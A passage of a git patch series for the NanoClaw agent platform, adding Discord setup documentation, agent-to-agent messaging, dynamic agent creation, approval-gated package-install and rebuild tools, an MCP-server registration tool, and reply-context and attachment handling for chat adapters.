expressions - [x] Host sweep picks up due messages and advances recurrence - [x] Scheduled outbound messages (no container wake needed) -- [~] Pre-agent scripts (task kind with script field, documented but not verified) +- [ ] Pre-agent scripts (formatter references scriptOutput but no execution logic) ## Permissions and Approval Flows @@ -152,8 +153,8 @@ Status: [x] done, [~] partial, [ ] not started ## System Actions -- [ ] register_group from inside agent (stub exists) -- [ ] reset_session from inside agent (stub exists) +- [ ] register_group from inside agent +- [ ] reset_session from inside agent ## Integrations From 9af9bc947a07d15e71ba5f3b422a0d19d1102b04 Mon Sep 17 00:00:00 2001 From: Gabi Simons Date: Thu, 9 Apr 2026 13:57:28 +0000 Subject: [PATCH 039/295] fix(discord-v2): document required DISCORD_PUBLIC_KEY and APPLICATION_ID The Discord adapter fails to start without all three env vars. Also fix platform ID format docs to show discord:{guildId}:{channelId}. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-discord-v2/SKILL.md | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/.claude/skills/add-discord-v2/SKILL.md b/.claude/skills/add-discord-v2/SKILL.md index 40d6f9e..f0c0771 100644 --- a/.claude/skills/add-discord-v2/SKILL.md +++ b/.claude/skills/add-discord-v2/SKILL.md @@ -35,20 +35,25 @@ npm run build 1. Go to the [Discord Developer Portal](https://discord.com/developers/applications) 2. Click **New Application** and give it a name (e.g., "NanoClaw Assistant") -3. Go to the **Bot** tab and click **Add Bot** if needed -4. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) -5. Under **Privileged Gateway Intents**, enable **Message Content Intent** -6. Go to **OAuth2** > **URL Generator**: +3. From the **General Information** tab, copy the **Application ID** and **Public Key** +4. Go to the **Bot** tab and click **Add Bot** if needed +5. Copy the Bot Token (click **Reset Token** if you need a new one — you can only see it once) +6. Under **Privileged Gateway Intents**, enable **Message Content Intent** +7. Go to **OAuth2** > **URL Generator**: - Scopes: select `bot` - Bot Permissions: select `Send Messages`, `Read Message History`, `Add Reactions`, `Attach Files`, `Use Slash Commands` -7. Copy the generated URL and open it in your browser to invite the bot to your server +8. Copy the generated URL and open it in your browser to invite the bot to your server ### Configure environment +All three values are required — the adapter will fail to start without `DISCORD_PUBLIC_KEY` and `DISCORD_APPLICATION_ID`. + Add to `.env`: ```bash DISCORD_BOT_TOKEN=your-bot-token +DISCORD_APPLICATION_ID=your-application-id +DISCORD_PUBLIC_KEY=your-public-key ``` Sync to container: `mkdir -p data/env && cp .env data/env/env` @@ -63,7 +68,7 @@ Otherwise, run `/manage-channels` to wire this channel to an agent group. - **type**: `discord` - **terminology**: Discord has "servers" (also called "guilds") containing "channels." Text channels start with #. The bot can also receive direct messages. -- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server or channel and select "Copy ID." +- **how-to-find-id**: Enable Developer Mode in Discord (Settings > App Settings > Advanced > Developer Mode). Then right-click a server and select "Copy Server ID" for the guild ID, and right-click the text channel and select "Copy Channel ID." The platform ID format used in registration is `discord:{guildId}:{channelId}` — both IDs are required. - **supports-threads**: yes - **typical-use**: Interactive chat — server channels or direct messages - **default-isolation**: Same agent group for your personal server. Separate agent group for servers with different communities or where different members have different information boundaries. From d8fbd3b239e7e25a6bdd534a52ea123ae570e5b2 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Fri, 10 Apr 2026 01:10:34 +0300 Subject: [PATCH 040/295] feat: agent-to-agent communication, dynamic agent creation, self-modification tools Agent-to-agent: host routes messages with channel_type='agent' to target agent's inbound.db, enriches with sender info, wakes target container. Bidirectional routing works via inherited routing context. Dynamic agents: create_agent MCP tool + system action handler creates agent groups, folders, and optional CLAUDE.md on the fly. Self-modification: install_packages (apt/npm, requires admin approval), add_mcp_server (no approval), request_rebuild (builds per-agent-group Docker image with approved packages). Approval flow reuses interactive card infrastructure with pending_approvals table. Also includes fixes from prior session: attachment download, reply context extraction, message editing (platform message ID tracking), delivery retry limits, and card update on button click. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 6 +- container/agent-runner/src/db/messages-out.ts | 25 +- container/agent-runner/src/formatter.ts | 24 +- container/agent-runner/src/index.ts | 38 +- .../agent-runner/src/mcp-tools/agents.ts | 61 +++- container/agent-runner/src/mcp-tools/index.ts | 3 +- .../agent-runner/src/mcp-tools/self-mod.ts | 155 ++++++++ groups/global/CLAUDE.md | 28 ++ src/channels/adapter.ts | 4 +- src/channels/channel-registry.test.ts | 7 +- src/channels/chat-sdk-bridge.ts | 100 +++++- src/channels/discord.ts | 19 +- src/channels/telegram.ts | 14 +- src/container-runner.ts | 62 +++- src/db/db-v2.test.ts | 2 +- src/db/messaging-groups.ts | 11 + src/db/migrations/003-pending-approvals.ts | 18 + src/db/migrations/index.ts | 3 +- src/db/schema.ts | 8 +- src/db/sessions.ts | 23 +- src/delivery.ts | 335 +++++++++++++++++- src/index.ts | 78 +++- src/session-manager.ts | 68 +++- src/types.ts | 11 + 24 files changed, 1025 insertions(+), 78 deletions(-) create mode 100644 container/agent-runner/src/mcp-tools/self-mod.ts create mode 100644 src/db/migrations/003-pending-approvals.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 31f2fb2..0877531 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -90,8 +90,10 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat content TEXT NOT NULL ); CREATE TABLE delivered ( - message_out_id TEXT PRIMARY KEY, - delivered_at TEXT NOT NULL + message_out_id TEXT PRIMARY KEY, + platform_message_id TEXT, + status TEXT NOT NULL DEFAULT 'delivered', + delivered_at TEXT NOT NULL ); `); diff --git a/container/agent-runner/src/db/messages-out.ts b/container/agent-runner/src/db/messages-out.ts index 55e078c..3d2f411 100644 --- a/container/agent-runner/src/db/messages-out.ts +++ b/container/agent-runner/src/db/messages-out.ts @@ -70,16 +70,37 @@ export function writeMessageOut(msg: WriteMessageOut): number { /** * Look up a message's platform ID by seq number. * Searches both inbound and outbound DBs since seq spans both. + * + * For inbound messages, the Chat SDK message ID is already the platform message ID + * (e.g., "6037840640:42" for Telegram). + * + * For outbound messages, the internal ID (msg-xxx) won't work for edits/reactions. + * Instead, look up the platform_message_id from the delivered table (host writes this + * after successful delivery). */ export function getMessageIdBySeq(seq: number): string | null { - const inRow = getInboundDb().prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as + const inbound = getInboundDb(); + + // Inbound messages: ID is already the platform message ID + const inRow = inbound.prepare('SELECT id FROM messages_in WHERE seq = ?').get(seq) as | { id: string } | undefined; if (inRow) return inRow.id; + + // Outbound messages: look up platform message ID from delivered table const outRow = getOutboundDb().prepare('SELECT id FROM messages_out WHERE seq = ?').get(seq) as | { id: string } | undefined; - return outRow?.id ?? null; + if (!outRow) return null; + + // Check if host has stored the platform message ID after delivery + const deliveredRow = inbound + .prepare('SELECT platform_message_id FROM delivered WHERE message_out_id = ?') + .get(outRow.id) as { platform_message_id: string | null } | undefined; + if (deliveredRow?.platform_message_id) return deliveredRow.platform_message_id; + + // Fallback to internal ID (edits/reactions on undelivered messages won't work) + return outRow.id; } /** Get undelivered messages (for host polling — reads from outbound.db). */ diff --git a/container/agent-runner/src/formatter.ts b/container/agent-runner/src/formatter.ts index 8b0b1e8..87be2d6 100644 --- a/container/agent-runner/src/formatter.ts +++ b/container/agent-runner/src/formatter.ts @@ -109,13 +109,7 @@ function formatChatMessages(messages: MessageInRow[]): string { const lines = ['']; for (const msg of messages) { - const content = parseContent(msg.content); - const sender = content.sender || content.author?.fullName || content.author?.userName || 'Unknown'; - const time = formatTime(msg.timestamp); - const text = content.text || ''; - const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; - const attachmentsSuffix = formatAttachments(content.attachments); - lines.push(`${escapeXml(text)}${attachmentsSuffix}`); + lines.push(formatSingleChat(msg)); } lines.push(''); return lines.join('\n'); @@ -127,8 +121,9 @@ function formatSingleChat(msg: MessageInRow): string { const time = formatTime(msg.timestamp); const text = content.text || ''; const idAttr = msg.seq != null ? ` id="${msg.seq}"` : ''; + const replyPrefix = formatReplyContext(content.replyTo); const attachmentsSuffix = formatAttachments(content.attachments); - return `${escapeXml(text)}${attachmentsSuffix}`; + return `${replyPrefix}${escapeXml(text)}${attachmentsSuffix}`; } function formatTaskMessage(msg: MessageInRow): string { @@ -153,13 +148,26 @@ function formatSystemMessage(msg: MessageInRow): string { return `[SYSTEM RESPONSE]\n\nAction: ${content.action || 'unknown'}\nStatus: ${content.status || 'unknown'}\nResult: ${JSON.stringify(content.result || null)}`; } +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function formatReplyContext(replyTo: any): string { + if (!replyTo) return ''; + const sender = replyTo.sender || 'Unknown'; + const text = replyTo.text || ''; + const preview = text.length > 100 ? text.slice(0, 100) + '…' : text; + return `\n${escapeXml(preview)}\n`; +} + // eslint-disable-next-line @typescript-eslint/no-explicit-any function formatAttachments(attachments: any[] | undefined): string { if (!Array.isArray(attachments) || attachments.length === 0) return ''; const parts = attachments.map((a) => { const name = a.name || a.filename || 'attachment'; const type = a.type || 'file'; + const localPath = a.localPath ? `/workspace/${a.localPath}` : ''; const url = a.url || ''; + if (localPath) { + return `[${type}: ${escapeXml(name)} — saved to ${escapeXml(localPath)}]`; + } return url ? `[${type}: ${escapeXml(name)} (${escapeXml(url)})]` : `[${type}: ${escapeXml(name)}]`; }); return '\n' + parts.join('\n'); diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 8f91e6e..1513f5c 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -76,20 +76,36 @@ async function main(): Promise { CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', }; + // Build MCP servers config: nanoclaw built-in + any additional from host + const mcpServers: Record }> = { + nanoclaw: { + command: 'node', + args: [mcpServerPath], + env: { + SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', + SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', + SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', + }, + }, + }; + + // Merge additional MCP servers from host configuration + if (process.env.NANOCLAW_MCP_SERVERS) { + try { + const additional = JSON.parse(process.env.NANOCLAW_MCP_SERVERS) as Record }>; + for (const [name, config] of Object.entries(additional)) { + mcpServers[name] = config; + log(`Additional MCP server: ${name} (${config.command})`); + } + } catch (e) { + log(`Failed to parse NANOCLAW_MCP_SERVERS: ${e}`); + } + } + await runPollLoop({ provider, cwd: CWD, - mcpServers: { - nanoclaw: { - command: 'node', - args: [mcpServerPath], - env: { - SESSION_INBOUND_DB_PATH: process.env.SESSION_INBOUND_DB_PATH || '/workspace/inbound.db', - SESSION_OUTBOUND_DB_PATH: process.env.SESSION_OUTBOUND_DB_PATH || '/workspace/outbound.db', - SESSION_HEARTBEAT_PATH: process.env.SESSION_HEARTBEAT_PATH || '/workspace/.heartbeat', - }, - }, - }, + mcpServers, systemPrompt, env, additionalDirectories: additionalDirectories.length > 0 ? additionalDirectories : undefined, diff --git a/container/agent-runner/src/mcp-tools/agents.ts b/container/agent-runner/src/mcp-tools/agents.ts index 54e50b6..a9443de 100644 --- a/container/agent-runner/src/mcp-tools/agents.ts +++ b/container/agent-runner/src/mcp-tools/agents.ts @@ -1,6 +1,7 @@ /** - * Agent-to-agent MCP tools: send_to_agent. + * Agent-to-agent MCP tools: send_to_agent, create_agent. */ +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; import type { McpToolDefinition } from './types.js'; @@ -20,6 +21,10 @@ function err(text: string) { return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; } +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + export const sendToAgent: McpToolDefinition = { tool: { name: 'send_to_agent', @@ -55,4 +60,56 @@ export const sendToAgent: McpToolDefinition = { }, }; -export const agentTools: McpToolDefinition[] = [sendToAgent]; +export const createAgent: McpToolDefinition = { + tool: { + name: 'create_agent', + description: 'Create a new agent group dynamically. Returns the new agent group ID.', + inputSchema: { + type: 'object' as const, + properties: { + name: { type: 'string', description: 'Agent display name' }, + instructions: { type: 'string', description: 'CLAUDE.md content (agent instructions/personality)' }, + folder: { type: 'string', description: 'Folder name (default: auto-generated from name)' }, + }, + required: ['name'], + }, + }, + async handler(args) { + const name = args.name as string; + if (!name) return err('name is required'); + + const requestId = generateId(); + + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'create_agent', + requestId, + name, + instructions: (args.instructions as string) || null, + folder: (args.folder as string) || null, + }), + }); + + log(`create_agent: ${requestId} → "${name}"`); + + // Poll for host response + const deadline = Date.now() + 30_000; + while (Date.now() < deadline) { + const response = findQuestionResponse(requestId); + if (response) { + const parsed = JSON.parse(response.content); + markCompleted([response.id]); + if (parsed.status === 'success') { + return ok(`Agent created: ${parsed.result.agentGroupId} (name: ${parsed.result.name}, folder: ${parsed.result.folder})`); + } + return err(parsed.result?.error || 'Failed to create agent'); + } + await sleep(1000); + } + return err('Timed out waiting for agent creation response'); + }, +}; + +export const agentTools: McpToolDefinition[] = [sendToAgent, createAgent]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index 254d802..f98143d 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -14,12 +14,13 @@ import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; import { interactiveTools } from './interactive.js'; import { agentTools } from './agents.js'; +import { selfModTools } from './self-mod.js'; function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools]; +const allTools: McpToolDefinition[] = [...coreTools, ...schedulingTools, ...interactiveTools, ...agentTools, ...selfModTools]; const toolMap = new Map(); for (const t of allTools) { diff --git a/container/agent-runner/src/mcp-tools/self-mod.ts b/container/agent-runner/src/mcp-tools/self-mod.ts new file mode 100644 index 0000000..9a0ef18 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/self-mod.ts @@ -0,0 +1,155 @@ +/** + * Self-modification MCP tools: install_packages, add_mcp_server, request_rebuild. + * + * These tools request changes to the agent's container configuration. + * install_packages and request_rebuild require admin approval. + * add_mcp_server takes effect on next container restart without approval. + */ +import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +async function pollForResponse(requestId: string, timeoutMs: number) { + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const response = findQuestionResponse(requestId); + if (response) { + const parsed = JSON.parse(response.content); + markCompleted([response.id]); + if (parsed.status === 'success') { + return ok(JSON.stringify(parsed.result || 'Success')); + } + return err(parsed.result?.error || parsed.selectedOption || 'Request denied'); + } + await sleep(2000); + } + return err(`Request timed out after ${timeoutMs / 1000}s`); +} + +export const installPackages: McpToolDefinition = { + tool: { + name: 'install_packages', + description: + 'Request installation of system (apt) or Node.js (npm) packages in the container. Requires admin approval. Takes effect after container rebuild.', + inputSchema: { + type: 'object' as const, + properties: { + apt: { type: 'array', items: { type: 'string' }, description: 'apt packages to install' }, + npm: { type: 'array', items: { type: 'string' }, description: 'npm packages to install globally' }, + reason: { type: 'string', description: 'Why these packages are needed' }, + }, + }, + }, + async handler(args) { + const apt = (args.apt as string[]) || []; + const npm = (args.npm as string[]) || []; + if (apt.length === 0 && npm.length === 0) return err('At least one apt or npm package is required'); + + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'install_packages', + requestId, + apt, + npm, + reason: (args.reason as string) || '', + }), + }); + + log(`install_packages: ${requestId} → apt=[${apt.join(',')}] npm=[${npm.join(',')}]`); + return await pollForResponse(requestId, 300_000); + }, +}; + +export const addMcpServer: McpToolDefinition = { + tool: { + name: 'add_mcp_server', + description: + "Add an MCP server to this agent's configuration. Takes effect on next container restart (no rebuild needed, no approval required).", + inputSchema: { + type: 'object' as const, + properties: { + name: { type: 'string', description: 'MCP server name (unique identifier)' }, + command: { type: 'string', description: 'Command to run the MCP server' }, + args: { type: 'array', items: { type: 'string' }, description: 'Command arguments' }, + env: { type: 'object', description: 'Environment variables for the server' }, + }, + required: ['name', 'command'], + }, + }, + async handler(args) { + const name = args.name as string; + const command = args.command as string; + if (!name || !command) return err('name and command are required'); + + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'add_mcp_server', + requestId, + name, + command, + args: (args.args as string[]) || [], + env: (args.env as Record) || {}, + }), + }); + + log(`add_mcp_server: ${requestId} → "${name}" (${command})`); + return await pollForResponse(requestId, 30_000); + }, +}; + +export const requestRebuild: McpToolDefinition = { + tool: { + name: 'request_rebuild', + description: + 'Request a container rebuild to apply pending package installations. Requires admin approval. The current container will be stopped and restarted with the new image.', + inputSchema: { + type: 'object' as const, + properties: { + reason: { type: 'string', description: 'Why the rebuild is needed' }, + }, + }, + }, + async handler(args) { + const requestId = generateId(); + writeMessageOut({ + id: requestId, + kind: 'system', + content: JSON.stringify({ + action: 'request_rebuild', + requestId, + reason: (args.reason as string) || '', + }), + }); + + log(`request_rebuild: ${requestId}`); + return await pollForResponse(requestId, 300_000); + }, +}; + +export const selfModTools: McpToolDefinition[] = [installPackages, addMcpServer, requestRebuild]; diff --git a/groups/global/CLAUDE.md b/groups/global/CLAUDE.md index b3c44c6..d2b2658 100644 --- a/groups/global/CLAUDE.md +++ b/groups/global/CLAUDE.md @@ -77,6 +77,34 @@ Standard Markdown works: `**bold**`, `*italic*`, `[links](url)`, `# headings`. --- +## Installing Packages & Tools + +Your container is ephemeral — anything installed via `apt-get` or `npm install -g` is lost on restart. To install packages that persist, use the self-modification tools: + +1. **`install_packages`** — request system (apt) or global npm packages. Requires admin approval. +2. **`request_rebuild`** — rebuild your container image so approved packages are baked in. Always call this after `install_packages` to apply the changes. + +Example flow: +``` +install_packages({ apt: ["ffmpeg"], npm: ["@xenova/transformers"], reason: "Audio transcription" }) +# → Admin gets an approval card → approves +request_rebuild({ reason: "Apply ffmpeg + transformers" }) +# → Admin approves → image rebuilt with the packages +``` + +**When to use this vs workspace npm install:** +- `npm install` in `/workspace/agent/` persists on disk (it's mounted) but isn't on the global PATH — use it for project-level dependencies +- `install_packages` is for system tools (ffmpeg, imagemagick) and global npm packages that need to be on PATH + +### MCP Servers + +Use **`add_mcp_server`** to add an MCP server to your configuration, then **`request_rebuild`** to apply. Browse available servers at https://mcp.so — it's a curated directory of high-quality MCP servers. Most Node.js servers run via `npx`, e.g.: + +``` +add_mcp_server({ name: "memory", command: "npx", args: ["@modelcontextprotocol/server-memory"] }) +request_rebuild({ reason: "Add memory MCP server" }) +``` + ## Task Scripts For any recurring task, use `schedule_task`. Frequent agent invocations — especially multiple times a day — consume API credits and can risk account restrictions. If a simple check can determine whether action is needed, add a `script` — it runs first, and the agent is only called when the check passes. This keeps invocations to a minimum. diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index 23271ed..d02f62c 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -67,8 +67,8 @@ export interface ChannelAdapter { teardown(): Promise; isConnected(): boolean; - // Outbound delivery - deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; + // Outbound delivery — returns the platform message ID if available + deliver(platformId: string, threadId: string | null, message: OutboundMessage): Promise; // Optional setTyping?(platformId: string, threadId: string | null): Promise; diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index 2fc183b..25ceab3 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -54,8 +54,9 @@ function createMockAdapter( return setupConfig !== null; }, - async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage) { + async deliver(_platformId: string, _threadId: string | null, message: OutboundMessage): Promise { delivered.push(message); + return undefined; }, async setTyping() {}, @@ -213,8 +214,8 @@ describe('channel + router integration', () => { setDeliveryAdapter({ async deliver(channelType, platformId, threadId, kind, content) { const adapter = getChannelAdapter(channelType); - if (!adapter) return; - await adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); + if (!adapter) return undefined; + return adapter.deliver(platformId, threadId, { kind, content: JSON.parse(content) }); }, }); diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 1d84b00..9f8f9d2 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -30,11 +30,23 @@ interface GatewayAdapter extends Adapter { ): Promise; } +/** Reply context extracted from a platform's raw message. */ +export interface ReplyContext { + text: string; + sender: string; +} + +/** Extract reply context from a platform-specific raw message. Return null if no reply. */ +// eslint-disable-next-line @typescript-eslint/no-explicit-any +export type ReplyContextExtractor = (raw: Record) => ReplyContext | null; + export interface ChatSdkBridgeConfig { adapter: Adapter; concurrency?: ConcurrencyStrategy; /** Bot token for authenticating forwarded Gateway events (required for interaction handling). */ botToken?: string; + /** Platform-specific reply context extraction. */ + extractReplyContext?: ReplyContextExtractor; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -53,11 +65,50 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return map; } - function messageToInbound(message: ChatMessage): InboundMessage { + async function messageToInbound(message: ChatMessage): Promise { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const serialized = message.toJSON() as Record; + + // Download attachment data before serialization loses fetchData() + if (message.attachments && message.attachments.length > 0) { + const enriched = []; + for (const att of message.attachments) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const entry: Record = { + type: att.type, + name: att.name, + mimeType: att.mimeType, + size: att.size, + width: (att as unknown as Record).width, + height: (att as unknown as Record).height, + }; + if (att.fetchData) { + try { + const buffer = await att.fetchData(); + entry.data = buffer.toString('base64'); + } catch (err) { + log.warn('Failed to download attachment', { type: att.type, err }); + } + } + enriched.push(entry); + } + serialized.attachments = enriched; + } + + // Extract reply context via platform-specific hook + if (config.extractReplyContext && message.raw) { + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const replyTo = config.extractReplyContext(message.raw as Record); + if (replyTo) serialized.replyTo = replyTo; + } + + // Drop raw to save DB space (can be very large) + serialized.raw = undefined; + return { id: message.id, kind: 'chat-sdk', - content: message.toJSON(), + content: serialized, timestamp: message.metadata.dateSent.toISOString(), }; } @@ -83,20 +134,20 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter // Subscribed threads — forward all messages chat.onSubscribedMessage(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + setupConfig.onInbound(channelId, thread.id, await messageToInbound(message)); }); // @mention in unsubscribed thread — forward + subscribe chat.onNewMention(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, thread.id, messageToInbound(message)); + setupConfig.onInbound(channelId, thread.id, await messageToInbound(message)); await thread.subscribe(); }); // DMs — always forward + subscribe chat.onDirectMessage(async (thread, message) => { const channelId = adapter.channelIdFromThreadId(thread.id); - setupConfig.onInbound(channelId, null, messageToInbound(message)); + setupConfig.onInbound(channelId, null, await messageToInbound(message)); await thread.subscribe(); }); @@ -108,6 +159,17 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter const questionId = parts[1]; const selectedOption = event.value || ''; const userId = event.user?.userId || ''; + + // Update the card to show the selected answer and remove buttons + try { + const tid = event.threadId; + await adapter.editMessage(tid, event.messageId, { + markdown: `❓ **Question**\n\n${selectedOption ? `✅ **${selectedOption}**` : '(clicked)'}`, + }); + } catch (err) { + log.warn('Failed to update card after action', { err }); + } + setupConfig.onAction(questionId, selectedOption, userId); }); @@ -161,7 +223,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter log.info('Chat SDK bridge initialized', { adapter: adapter.name }); }, - async deliver(platformId: string, threadId: string | null, message) { + async deliver(platformId: string, threadId: string | null, message): Promise { // platformId is already in the adapter's encoded format (e.g. "telegram:6037840640", // "discord:guildId:channelId") — use it directly as the thread ID const tid = threadId ?? platformId; @@ -190,24 +252,36 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter Actions(options.map((opt) => Button({ id: `ncq:${questionId}:${opt}`, label: opt, value: opt }))), ], }); - await adapter.postMessage(tid, { card, fallbackText: `${content.question}\nOptions: ${options.join(', ')}` }); - return; + const result = await adapter.postMessage(tid, { + card, + fallbackText: `${content.question}\nOptions: ${options.join(', ')}`, + }); + return result?.id; } // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { // Attach files if present (FileUpload format: { data, filename }) - const fileUploads = message.files?.map((f) => ({ data: f.data, filename: f.filename })); + const fileUploads = message.files?.map((f: { data: Buffer; filename: string }) => ({ + data: f.data, + filename: f.filename, + })); if (fileUploads && fileUploads.length > 0) { - await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + const result = await adapter.postMessage(tid, { markdown: text, files: fileUploads }); + return result?.id; } else { - await adapter.postMessage(tid, { markdown: text }); + const result = await adapter.postMessage(tid, { markdown: text }); + return result?.id; } } else if (message.files && message.files.length > 0) { // Files only, no text - const fileUploads = message.files.map((f) => ({ data: f.data, filename: f.filename })); - await adapter.postMessage(tid, { markdown: '', files: fileUploads }); + const fileUploads = message.files.map((f: { data: Buffer; filename: string }) => ({ + data: f.data, + filename: f.filename, + })); + const result = await adapter.postMessage(tid, { markdown: '', files: fileUploads }); + return result?.id; } }, diff --git a/src/channels/discord.ts b/src/channels/discord.ts index 01ed4c5..d23a1e2 100644 --- a/src/channels/discord.ts +++ b/src/channels/discord.ts @@ -5,9 +5,19 @@ import { createDiscordAdapter } from '@chat-adapter/discord'; import { readEnvFile } from '../env.js'; -import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; import { registerChannelAdapter } from './channel-registry.js'; +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function extractReplyContext(raw: Record): ReplyContext | null { + if (!raw.referenced_message) return null; + const reply = raw.referenced_message; + return { + text: reply.content || '', + sender: reply.author?.global_name || reply.author?.username || 'Unknown', + }; +} + registerChannelAdapter('discord', { factory: () => { const env = readEnvFile(['DISCORD_BOT_TOKEN', 'DISCORD_PUBLIC_KEY', 'DISCORD_APPLICATION_ID']); @@ -17,6 +27,11 @@ registerChannelAdapter('discord', { publicKey: env.DISCORD_PUBLIC_KEY, applicationId: env.DISCORD_APPLICATION_ID, }); - return createChatSdkBridge({ adapter: discordAdapter, concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN }); + return createChatSdkBridge({ + adapter: discordAdapter, + concurrency: 'concurrent', + botToken: env.DISCORD_BOT_TOKEN, + extractReplyContext, + }); }, }); diff --git a/src/channels/telegram.ts b/src/channels/telegram.ts index c4ae5fe..345419f 100644 --- a/src/channels/telegram.ts +++ b/src/channels/telegram.ts @@ -5,9 +5,19 @@ import { createTelegramAdapter } from '@chat-adapter/telegram'; import { readEnvFile } from '../env.js'; -import { createChatSdkBridge } from './chat-sdk-bridge.js'; +import { createChatSdkBridge, type ReplyContext } from './chat-sdk-bridge.js'; import { registerChannelAdapter } from './channel-registry.js'; +// eslint-disable-next-line @typescript-eslint/no-explicit-any +function extractReplyContext(raw: Record): ReplyContext | null { + if (!raw.reply_to_message) return null; + const reply = raw.reply_to_message; + return { + text: reply.text || reply.caption || '', + sender: reply.from?.first_name || reply.from?.username || 'Unknown', + }; +} + registerChannelAdapter('telegram', { factory: () => { const env = readEnvFile(['TELEGRAM_BOT_TOKEN']); @@ -16,6 +26,6 @@ registerChannelAdapter('telegram', { botToken: env.TELEGRAM_BOT_TOKEN, mode: 'polling', }); - return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ adapter: telegramAdapter, concurrency: 'concurrent', extractReplyContext }); }, }); diff --git a/src/container-runner.ts b/src/container-runner.ts index bc54632..743b7ce 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -3,7 +3,7 @@ * Spawns agent containers with session folder + agent group folder mounts. * The container runs the v2 agent-runner which polls the session DB. */ -import { ChildProcess, spawn } from 'child_process'; +import { ChildProcess, execSync, spawn } from 'child_process'; import fs from 'fs'; import path from 'path'; @@ -274,9 +274,19 @@ async function buildContainerArgs( } } + // Pass additional MCP servers from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.mcpServers && Object.keys(containerConfig.mcpServers).length > 0) { + args.push('-e', `NANOCLAW_MCP_SERVERS=${JSON.stringify(containerConfig.mcpServers)}`); + } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) args.push('--entrypoint', 'bash'); - args.push(CONTAINER_IMAGE); + + // Use per-agent-group image if one has been built, otherwise base image + const imageTag = containerConfig.imageTag || CONTAINER_IMAGE; + args.push(imageTag); + args.push( '-c', 'cd /app && npx tsc 